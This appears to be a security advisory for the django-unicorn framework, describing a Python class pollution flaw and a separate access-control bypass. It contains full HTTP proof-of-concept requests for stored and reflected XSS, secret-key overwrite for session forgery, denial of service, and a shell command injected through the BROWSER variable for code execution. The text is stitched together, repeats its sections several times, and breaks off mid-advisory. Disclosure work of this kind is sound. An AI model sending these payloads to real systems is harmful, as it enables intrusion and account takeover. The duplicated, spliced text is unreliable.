# https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/utils.py#L10
 def set_property_value(
    component,
    property_name,
    property_value
 ) -> None:
    ...
    property_name_parts = property_name.split(".")
    component_or_field = component
    ...
    for idx, property_name_part in enumerate(property_name_parts):
        if hasattr(component_or_field, property_name_part):
            if idx == len(property_name_parts) - 1:
                ...
                setattr(component_or_field, property_name_part, property_value)
                ...
            else:
                component_or_field = getattr(component_or_field, property_name_part)
                ...
        elif isinstance(component_or_field, dict):
            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part] = property_value
				...
            else:
                component_or_field = component_or_field[property_name_part]
				...
        elif isinstance(component_or_field, (QuerySet, list)):
            property_name_part_int = int(property_name_part)

            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part_int] = property_value  # type: ignore[index]
                ...
            else:
                component_or_field = component_or_field[property_name_part_int]  # type: ignore[index]
                ...
        else:
            break

Meanwhile, this functionality can be directly triggered by a component request, one of the core functionalities of the project, by specifying the request type as syncInput and payload object would be fed in the dotted-path (2nd) parameter and assigned value (3rd) parameter of the vulnerable function.

POST /unicorn/message/COMPONENT_NAME

{
    "id": 123,
    "actionQueue":[
        {
          "type": "syncInput",
          "payload": {
          "name": "DOTTED_PATH",
          "value":"ASSIGNED_VALUE"
          }
    		}
    ],
    "data": {XXX},
    "epoch": "123",
    "checksum": "XXXX"
}

You are now aware of that users from the remote can fully control the property_name and property_value of the vulnerable function. By default the preperty value overwrite can only be performed on the component object, which is always the first parameter of the function.

However, the functionality failed to count in the situation where bad actors can modify the normal path to traverse to other objects in the python runtime, by leveraging the magic attributes. For example, if the property_name was set to __init__.__globals__, the component context would change to global context of the component module, which means you can modify any attributes of the objects that are located in the global scope of the component module. These objects also include other modules that have been imported in the component module, which comprises of a pollutable dependency chain.

With all these techniques introduced, you can now change any global objects including, global variables/instances/classes/functions of any module that is in a chain of dependency from the component module.

The next section introduces the five exploitation gadgets found so far, leading to reflected XSS, stored XSS, authentication bypass and DOS attack. It uses a locally deployed django-unicorn.com as demo website to showcase its large-scale impact.

Here, gadgets refer to the dependency code snippets by default introduced by django-unicorn and changing its status can result in an attack sequence, such as XSS.

Proof of Concept

#1 Reflected Cross-Site Scripting by Overwriting bs4 HTML sanitizer

Django-Unicorn implants the EntitySubstitution rule from beautifulsoup4 library into its HTML formatter, formatting all the template response messages.

While this rule is specified in a global dictionary, you can exploit the class pollution vulnerability to overwrite it.

POST /unicorn/message/todo HTTP/1.1

{
  "id" : 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY.<",
        "value": "<img/src=1 onerror=alert('bs4_html_entity_bypass')>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

In this demonstration, replaced the sanitizer's < item value with the XSS payload. whenever a template reponse renders a "<" in cleartext, it will be converted to the payload, leading to XSS attack.

#2 Stored Cross-Site Scripting by Overwriting Unicorn Setting and Django Json Script Sanitizer

There is always a script tag in the webpage. Among it, a NAME value is dynamically extracted both from the MORPHER_NAMES and DEFAULT_MORPHER_NAME variable in the setting module.

However, simply polluting these values can not lead to a stored XSS attack. Django by default escape some of the special characters into unicode sequences.

Going through the source code of django, you will find the actual sanitizer located at _json_script_escapes variable at django/utils/html.py.

By polluting this variable to clear it out, you finally achieve a stored XSS attack.

PoC:

POST /unicorn/message/todo HTTP/1.1

{
  "id": "3gpDSUcxzs1",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.MORPHER_NAMES",
        "value": [
          "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
        ]
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.DEFAULT_MORPHER_NAME",
        "value": "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.utils.html._json_script_escapes",
        "value": {}
      }
    }
  ],
  "epoch": 1737318956605,
  "hash": "jWGuTFzy"
}

#3 Stored Cross-Site Scripting by Overwriting Django Error Page Source Code

Django by default stores its error page source code in a global variable named ERROR_PAGE_TEMPLATE at django/views/defaults.py.

By polluting this variable to XSS payload. whenever a user triggers an error in the application, such as access an unexisting resource, the attack payload fires out.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.views.defaults.ERROR_PAGE_TEMPLATE",
        "value": "<html><script>alert('error page pollution')</script></html>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#4 Authentication Bypass by Overwriting Django Secret Key

Django secret key is typically used to sign and verify session cookies and other security related mechanism. By polluting its runtime value to attacker intended, attacker can forge session cookies to login in to the system as any user.

Even though, django-unicorn.com doesn't have an authentication layer, you can still observe a successful secret key pollution by inspecting the changed checksum in the HTTP response, since the checksum is generated by encrypting the data field in the request body with the secret key.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY",
        "value": "test"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#5 Denial of Service by Overwriting timed Decorator Method

The timed decorator is used to modify many important functions in the django-unicorn, such as _call_method_name.

By polluting the core decorator method timed to a string, you make a function call always call a uncallable string, leading to the backend crashed, thus denial of service attack.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.timed",
        "value": "X"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#6 Remote Code Execution by Polluting location_cache and OS Environment Variable BROWSER

By polluting the cached data in the location_cache object located at unicorn_view.py, attackers can archieve an arbitrary module importation as the logic executed at _get_component_class function. Then a following pollution on the BROWSER os environment variable will lead to remote code execution when it is combined with antigravity module importation.

• Pollute location_cache._Cache__data.todo as an array where the first element is the module name imported whenever a GET request is sent to the server.

 POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
Content-Length: 327
Accept: application/json

{
  "id": "E5FBWqME",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XvvsDQXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.location_cache._Cache__data.todo",
        "value": [
          "antigravity",
          "any"
        ]
      },
      "partials": []
    },
    {
      "type": "callMethod",
      "payload": {
        "name": "add"
      },
      "partials": []
    }
  ],
  "epoch": 1746680343776,
  "hash": "CG5pMDxc"
}

• Pollute BROWSER os environment variable where the payload for command injection is set.

POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
 Content-Length: 348
Accept: application/json

{
  "id": "E5FBWqME",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XvvsDQXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.os.environ",
        "value": {
          "BROWSER": "/bin/sh -c \"touch /tmp/pwned \" #%s"
        }
      },
      "partials": []
    },
    {
      "type": "callMethod",
      "payload": {
        "name": "add"
      },
      "partials": []
    }
  ],
  "epoch": 1746680343776,
  "hash": "CG5pMDxc"
}

Mitigation

The patch could be:

• Blocking paths that start with __, which represent double under (dunder) or magic variables/methods
• Set a blacklist for the path, such as RESTRICTED_KEYS = ("__globals__", "__builtins__") adopted by pydash.

Related Materials

For more information about class pollution please refer to:

[1] CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

[2] Report: Class Pollution leading to RCE in pydash

[3] Blog: Prototype Pollution in Python

[4] Blog: Class Pollution Gadgets in Jinja Leading to RCE

Summary

Component state manipulation is possible in django-unicorn due to missing access control checks during property updates and method calls. An attacker can bypass the intended _is_public protection to modify internal attributes such as template_name or trigger protected methods.

Vulnerability Details: Component Access Control Bypass

Security analysis identified that the framework fails to enforce visibility boundaries defined by _is_public within the action parsers. Specifically, the logic in set_property_value() and _call_method_name() utilizes getattr and setattr directly on component instances without verifying if the target attribute or method is explicitly marked as public.

Vulnerability resides in:

• src/django_unicorn/views/action_parsers/call_method.py
• src/django_unicorn/views/action_parsers/utils.py

While Django's template engine restricts rendering to registered directories, an unauthorized user can still force a component to render sensitive templates (e.g., admin layouts) from other installed applications or reset the component state by invoking the internal reset() method.

Proof of Concept (PoC)

Attacker can overwrite the template_name attribute by sending a crafted JSON payload to the message endpoint:

1. Construct a payload targeting a protected attribute:

   {
     "actionQueue": [
       {
         "type": "syncInput",
         "payload": { "name": "template_name", "value": "admin/base.html" }
       }
     ],
     "data": {},
     "meta": "<checksum_of_empty_dict>"
   }
   

2. The server-side component updates its internal state: self.template_name = "admin/base.html".
3. Subsequent re-rendering displays the content of the targeted template, bypassing intended component logic.

Impact

Low severity. The risk is limited to unauthorized manipulation of component state and rendering of existing templates within the application's configured template directories. Remote Code Execution (RCE) is not possible via this vector.

Summary

Django-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under CWE-915. The vulnerability arises from the core functionality set_property_value, which can be remotely triggered by users by crafting appropriate component requests and feeding in values of second and third parameter to the vulnerable function, leading to arbitrary changes to the python runtime status.

At least five ways of vulnerability exploitation have been found, stably resulting in Cross-Site Scripting (XSS), Denial of Service (DoS), and Authentication Bypass attacks in almost every Django-Unicorn-based application.

Analysis of Vulnerable Function

By taking a look at the vulnerable function set_property_value located at: django_unicorn/views/action_parsers/utils.py. You can observe the functionality is responsible for modifying a property value of an object.

The property is specified by a dotted form of path at the second parameter property_name, where nested reference to object is supported, and base object and the assigned value is given by the first parameter component and third parameter property_value.

# https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/utils.py#L10
 def set_property_value(
    component,
    property_name,
    property_value
 ) -> None:
    ...
    property_name_parts = property_name.split(".")
    component_or_field = component
    ...
    for idx, property_name_part in enumerate(property_name_parts):
        if hasattr(component_or_field, property_name_part):
            if idx == len(property_name_parts) - 1:
                ...
                setattr(component_or_field, property_name_part, property_value)
                ...
            else:
                component_or_field = getattr(component_or_field, property_name_part)
                ...
        elif isinstance(component_or_field, dict):
            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part] = property_value
				...
            else:
                component_or_field = component_or_field[property_name_part]
				...
        elif isinstance(component_or_field, (QuerySet, list)):
            property_name_part_int = int(property_name_part)

            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part_int] = property_value  # type: ignore[index]
                ...
            else:
                component_or_field = component_or_field[property_name_part_int]  # type: ignore[index]
                ...
        else:
            break

Meanwhile, this functionality can be directly triggered by a component request, one of the core functionalities of the project, by specifying the request type as syncInput and payload object would be fed in the dotted-path (2nd) parameter and assigned value (3rd) parameter of the vulnerable function.

POST /unicorn/message/COMPONENT_NAME

{
    "id": 123,
    "actionQueue":[
        {
          "type": "syncInput",
          "payload": {
          "name": "DOTTED_PATH",
          "value":"ASSIGNED_VALUE"
          }
    		}
    ],
    "data": {XXX},
    "epoch": "123",
    "checksum": "XXXX"
}

You are now aware of that users from the remote can fully control the property_name and property_value of the vulnerable function. By default the preperty value overwrite can only be performed on the component object, which is always the first parameter of the function.

However, the functionality failed to count in the situation where bad actors can modify the normal path to traverse to other objects in the python runtime, by leveraging the magic attributes. For example, if the property_name was set to __init__.__globals__, the component context would change to global context of the component module, which means you can modify any attributes of the objects that are located in the global scope of the component module. These objects also include other modules that have been imported in the component module, which comprises of a pollutable dependency chain.

With all these techniques introduced, you can now change any global objects including, global variables/instances/classes/functions of any module that is in a chain of dependency from the component module.

The next section introduces the five exploitation gadgets found so far, leading to reflected XSS, stored XSS, authentication bypass and DOS attack. It uses a locally deployed django-unicorn.com as demo website to showcase its large-scale impact.

Here, gadgets refer to the dependency code snippets by default introduced by django-unicorn and changing its status can result in an attack sequence, such as XSS.

Proof of Concept

#1 Reflected Cross-Site Scripting by Overwriting bs4 HTML sanitizer

Django-Unicorn implants the EntitySubstitution rule from beautifulsoup4 library into its HTML formatter, formatting all the template response messages.

While this rule is specified in a global dictionary, you can exploit the class pollution vulnerability to overwrite it.

POST /unicorn/message/todo HTTP/1.1

{
  "id" : 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY.<",
        "value": "<img/src=1 onerror=alert('bs4_html_entity_bypass')>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

In this demonstration, replaced the sanitizer's < item value with the XSS payload. whenever a template reponse renders a "<" in cleartext, it will be converted to the payload, leading to XSS attack.

#2 Stored Cross-Site Scripting by Overwriting Unicorn Setting and Django Json Script Sanitizer

There is always a script tag in the webpage. Among it, a NAME value is dynamically extracted both from the MORPHER_NAMES and DEFAULT_MORPHER_NAME variable in the setting module.

However, simply polluting these values can not lead to a stored XSS attack. Django by default escape some of the special characters into unicode sequences.

Going through the source code of django, you will find the actual sanitizer located at _json_script_escapes variable at django/utils/html.py.

By polluting this variable to clear it out, you finally achieve a stored XSS attack.

PoC:

POST /unicorn/message/todo HTTP/1.1

{
  "id": "3gpDSUcxzs1",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.MORPHER_NAMES",
        "value": [
          "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
        ]
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.DEFAULT_MORPHER_NAME",
        "value": "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.utils.html._json_script_escapes",
        "value": {}
      }
    }
  ],
  "epoch": 1737318956605,
  "hash": "jWGuTFzy"
}

#3 Stored Cross-Site Scripting by Overwriting Django Error Page Source Code

Django by default stores its error page source code in a global variable named ERROR_PAGE_TEMPLATE at django/views/defaults.py.

By polluting this variable to XSS payload. whenever a user triggers an error in the application, such as access an unexisting resource, the attack payload fires out.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.views.defaults.ERROR_PAGE_TEMPLATE",
        "value": "<html><script>alert('error page pollution')</script></html>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#4 Authentication Bypass by Overwriting Django Secret Key

Django secret key is typically used to sign and verify session cookies and other security related mechanism. By polluting its runtime value to attacker intended, attacker can forge session cookies to login in to the system as any user.

Even though, django-unicorn.com doesn't have an authentication layer, you can still observe a successful secret key pollution by inspecting the changed checksum in the HTTP response, since the checksum is generated by encrypting the data field in the request body with the secret key.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY",
        "value": "test"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#5 Denial of Service by Overwriting timed Decorator Method

The timed decorator is used to modify many important functions in the django-unicorn, such as _call_method_name.

By polluting the core decorator method timed to a string, you make a function call always call a uncallable string, leading to the backend crashed, thus denial of service attack.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.timed",
        "value": "X"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#6 Remote Code Execution by Polluting location_cache and OS Environment Variable BROWSER

By polluting the cached data in the location_cache object located at unicorn_view.py, attackers can archieve an arbitrary module importation as the logic executed at _get_component_class function. Then a following pollution on the BROWSER os environment variable will lead to remote code execution when it is combined with antigravity module importation.

• Pollute location_cache._Cache__data.todo as an array where the first element is the module name imported whenever a GET request is sent to the server.

 POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
Content-Length: 327
Accept: application/json

{
  "id": "E5FBWqME",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XvvsDQXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.location_cache._Cache__data.todo",
        "value": [
          "antigravity",
          "any"
        ]
      },
      "partials": []
    },
    {
      "type": "callMethod",
      "payload": {
        "name": "add"
      },
      "partials": []
    }
  ],
  "epoch": 1746680343776,
  "hash": "CG5pMDxc"
}

• Pollute BROWSER os environment variable where the payload for command injection is set.

POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
 Content-Length: 348
Accept: application/json

{
  "id": "E5FBWqME",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XvvsDQXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.os.environ",
        "value": {
          "BROWSER": "/bin/sh -c \"touch /tmp/pwned \" #%s"
        }
      },
      "partials": []
    },
    {
      "type": "callMethod",
      "payload": {
        "name": "add"
      },
      "partials": []
    }
  ],
  "epoch": 1746680343776,
  "hash": "CG5pMDxc"
}

Mitigation

The patch could be:

• Blocking paths that start with __, which represent double under (dunder) or magic variables/methods
• Set a blacklist for the path, such as RESTRICTED_KEYS = ("__globals__", "__builtins__") adopted by pydash.

Related Materials

For more information about class pollution please refer to:

[1] CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

[2] Report: Class Pollution leading to RCE in pydash

[3] Blog: Prototype Pollution in Python

[4] Blog: Class Pollution Gadgets in Jinja Leading to RCE

Summary

Component state manipulation is possible in django-unicorn due to missing access control checks during property updates and method calls. An attacker can bypass the intended _is_public protection to modify internal attributes such as template_name or trigger protected methods.

Vulnerability Details: Component Access Control Bypass

Security analysis identified that the framework fails to enforce visibility boundaries defined by _is_public within the action parsers. Specifically, the logic in set_property_value() and _call_method_name() utilizes getattr and setattr directly on component instances without verifying if the target attribute or method is explicitly marked as public.

Vulnerability resides in:

• src/django_unicorn/views/action_parsers/call_method.py
• src/django_unicorn/views/action_parsers/utils.py

While Django's template engine restricts rendering to registered directories, an unauthorized user can still force a component to render sensitive templates (e.g., admin layouts) from other installed applications or reset the component state by invoking the internal reset() method.

Proof of Concept (PoC)

Attacker can overwrite the template_name attribute by sending a crafted JSON payload to the message endpoint:

1. Construct a payload targeting a protected attribute:

   {
     "actionQueue": [
       {
         "type": "syncInput",
         "payload": { "name": "template_name", "value": "admin/base.html" }
       }
     ],
     "data": {},
     "meta": "<checksum_of_empty_dict>"
   }
   

2. The server-side component updates its internal state: self.template_name = "admin/base.html".
3. Subsequent re-rendering displays the content of the targeted template, bypassing intended component logic.

Impact

Low severity. The risk is limited to unauthorized manipulation of component state and rendering of existing templates within the application's configured template directories. Remote Code Execution (RCE) is not possible via this vector.

Summary

Django-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under CWE-915. The vulnerability arises from the core functionality set_property_value, which can be remotely triggered by users by crafting appropriate component requests and feeding in values of second and third parameter to the vulnerable function, leading to arbitrary changes to the python runtime status.

At least five ways of vulnerability exploitation have been found, stably resulting in Cross-Site Scripting (XSS), Denial of Service (DoS), and Authentication Bypass attacks in almost every Django-Unicorn-based application.

Analysis of Vulnerable Function

By taking a look at the vulnerable function set_property_value located at: django_unicorn/views/action_parsers/utils.py. You can observe the functionality is responsible for modifying a property value of an object.

The property is specified by a dotted form of path at the second parameter property_name, where nested reference to object is supported, and base object and the assigned value is given by the first parameter component and third parameter property_value.

# https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/utils.py#L10
 def set_property_value(
    component,
    property_name,
    property_value
 ) -> None:
    ...
    property_name_parts = property_name.split(".")
    component_or_field = component
    ...
    for idx, property_name_part in enumerate(property_name_parts):
        if hasattr(component_or_field, property_name_part):
            if idx == len(property_name_parts) - 1:
                ...
                setattr(component_or_field, property_name_part, property_value)
                ...
            else:
                component_or_field = getattr(component_or_field, property_name_part)
                ...
        elif isinstance(component_or_field, dict):
            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part] = property_value
				...
            else:
                component_or_field = component_or_field[property_name_part]
				...
        elif isinstance(component_or_field, (QuerySet, list)):
            property_name_part_int = int(property_name_part)

            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part_int] = property_value  # type: ignore[index]
                ...
            else:
                component_or_field = component_or_field[property_name_part_int]  # type: ignore[index]
                ...
        else:
            break

Meanwhile, this functionality can be directly triggered by a component request, one of the core functionalities of the project, by specifying the request type as syncInput and payload object would be fed in the dotted-path (2nd) parameter and assigned value (3rd) parameter of the vulnerable function.

POST /unicorn/message/COMPONENT_NAME

{
    "id": 123,
    "actionQueue":[
        {
          "type": "syncInput",
          "payload": {
          "name": "DOTTED_PATH",
          "value":"ASSIGNED_VALUE"
          }
    		}
    ],
    "data": {XXX},
    "epoch": "123",
    "checksum": "XXXX"
}

You are now aware of that users from the remote can fully control the property_name and property_value of the vulnerable function. By default the preperty value overwrite can only be performed on the component object, which is always the first parameter of the function.

However, the functionality failed to count in the situation where bad actors can modify the normal path to traverse to other objects in the python runtime, by leveraging the magic attributes. For example, if the property_name was set to __init__.__globals__, the component context would change to global context of the component module, which means you can modify any attributes of the objects that are located in the global scope of the component module. These objects also include other modules that have been imported in the component module, which comprises of a pollutable dependency chain.

With all these techniques introduced, you can now change any global objects including, global variables/instances/classes/functions of any module that is in a chain of dependency from the component module.

The next section introduces the five exploitation gadgets found so far, leading to reflected XSS, stored XSS, authentication bypass and DOS attack. It uses a locally deployed django-unicorn.com as demo website to showcase its large-scale impact.

Here, gadgets refer to the dependency code snippets by default introduced by django-unicorn and changing its status can result in an attack sequence, such as XSS.

Proof of Concept

#1 Reflected Cross-Site Scripting by Overwriting bs4 HTML sanitizer

Django-Unicorn implants the EntitySubstitution rule from beautifulsoup4 library into its HTML formatter, formatting all the template response messages.

While this rule is specified in a global dictionary, you can exploit the class pollution vulnerability to overwrite it.

POST /unicorn/message/todo HTTP/1.1

{
  "id" : 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY.<",
        "value": "<img/src=1 onerror=alert('bs4_html_entity_bypass')>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

In this demonstration, replaced the sanitizer's < item value with the XSS payload. whenever a template reponse renders a "<" in cleartext, it will be converted to the payload, leading to XSS attack.

#2 Stored Cross-Site Scripting by Overwriting Unicorn Setting and Django Json Script Sanitizer

There is always a script tag in the webpage. Among it, a NAME value is dynamically extracted both from the MORPHER_NAMES and DEFAULT_MORPHER_NAME variable in the setting module.

However, simply polluting these values can not lead to a stored XSS attack. Django by default escape some of the special characters into unicode sequences.

Going through the source code of django, you will find the actual sanitizer located at _json_script_escapes variable at django/utils/html.py.

By polluting this variable to clear it out, you finally achieve a stored XSS attack.

PoC:

POST /unicorn/message/todo HTTP/1.1

{
  "id": "3gpDSUcxzs1",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.MORPHER_NAMES",
        "value": [
          "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
        ]
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.DEFAULT_MORPHER_NAME",
        "value": "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.utils.html._json_script_escapes",
        "value": {}
      }
    }
  ],
  "epoch": 1737318956605,
  "hash": "jWGuTFzy"
}

#3 Stored Cross-Site Scripting by Overwriting Django Error Page Source Code

Django by default stores its error page source code in a global variable named ERROR_PAGE_TEMPLATE at django/views/defaults.py.

By polluting this variable to XSS payload. whenever a user triggers an error in the application, such as access an unexisting resource, the attack payload fires out.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.views.defaults.ERROR_PAGE_TEMPLATE",
        "value": "<html><script>alert('error page pollution')</script></html>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#4 Authentication Bypass by Overwriting Django Secret Key

Django secret key is typically used to sign and verify session cookies and other security related mechanism. By polluting its runtime value to attacker intended, attacker can forge session cookies to login in to the system as any user.

Even though, django-unicorn.com doesn't have an authentication layer, you can still observe a successful secret key pollution by inspecting the changed checksum in the HTTP response, since the checksum is generated by encrypting the data field in the request body with the secret key.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY",
        "value": "test"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#5 Denial of Service by Overwriting timed Decorator Method

The timed decorator is used to modify many important functions in the django-unicorn, such as _call_method_name.

By polluting the core decorator method timed to a string, you make a function call always call a uncallable string, leading to the backend crashed, thus denial of service attack.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.timed",
        "value": "X"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#6 Remote Code Execution by Polluting location_cache and OS Environment Variable BROWSER

By polluting the cached data in the location_cache object located at unicorn_view.py, attackers can archieve an arbitrary module importation as the logic executed at _get_component_class function. Then a following pollution on the BROWSER os environment variable will lead to remote code execution when it is combined with antigravity module importation.

• Pollute location_cache._Cache__data.todo as an array where the first element is the module name imported whenever a GET request is sent to the server.

 POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
Content-Length: 327
Accept: application/json

{
  "id": "E5FBWqME",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XvvsDQXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.location_cache._Cache__data.todo",
        "value": [
          "antigravity",
          "any"
        ]
      },
      "partials": []
    },
    {
      "type": "callMethod",
      "payload": {
        "name": "add"
      },
      "partials": []
    }
  ],
  "epoch": 1746680343776,
  "hash": "CG5pMDxc"
}

• Pollute BROWSER os environment variable where the payload for command injection is set.

POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
 Content-Length: 348
Accept: application/json

{
  "id": "E5FBWqME",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XvvsDQXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.os.environ",
        "value": {
          "BROWSER": "/bin/sh -c \"touch /tmp/pwned \" #%s"
        }
      },
      "partials": []
    },
    {
      "type": "callMethod",
      "payload": {
        "name": "add"
      },
      "partials": []
    }
  ],
  "epoch": 1746680343776,
  "hash": "CG5pMDxc"
}

Mitigation

The patch could be:

• Blocking paths that start with __, which represent double under (dunder) or magic variables/methods
• Set a blacklist for the path, such as RESTRICTED_KEYS = ("__globals__", "__builtins__") adopted by pydash.

Related Materials

For more information about class pollution please refer to:

[1] CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

[2] Report: Class Pollution leading to RCE in pydash

[3] Blog: Prototype Pollution in Python

[4] Blog: Class Pollution Gadgets in Jinja Leading to RCE

Summary

Component state manipulation is possible in django-unicorn due to missing access control checks during property updates and method calls. An attacker can bypass the intended _is_public protection to modify internal attributes such as template_name or trigger protected methods.

Vulnerability Details: Component Access Control Bypass

Security analysis identified that the framework fails to enforce visibility boundaries defined by _is_public within the action parsers. Specifically, the logic in set_property_value() and _call_method_name() utilizes getattr and setattr directly on component instances without verifying if the target attribute or method is explicitly marked as public.

Vulnerability resides in:

• src/django_unicorn/views/action_parsers/call_method.py
• src/django_unicorn/views/action_parsers/utils.py

While Django's template engine restricts rendering to registered directories, an unauthorized user can still force a component to render sensitive templates (e.g., admin layouts) from other installed applications or reset the component state by invoking the internal reset() method.

Proof of Concept (PoC)

Attacker can overwrite the template_name attribute by sending a crafted JSON payload to the message endpoint:

1. Construct a payload targeting a protected attribute:

   {
     "actionQueue": [
       {
         "type": "syncInput",
         "payload": { "name": "template_name", "value": "admin/base.html" }
       }
     ],
     "data": {},
     "meta": "<checksum_of_empty_dict>"
   }
   

2. The server-side component updates its internal state: self.template_name = "admin/base.html".
3. Subsequent re-rendering displays the content of the targeted template, bypassing intended component logic.

Impact

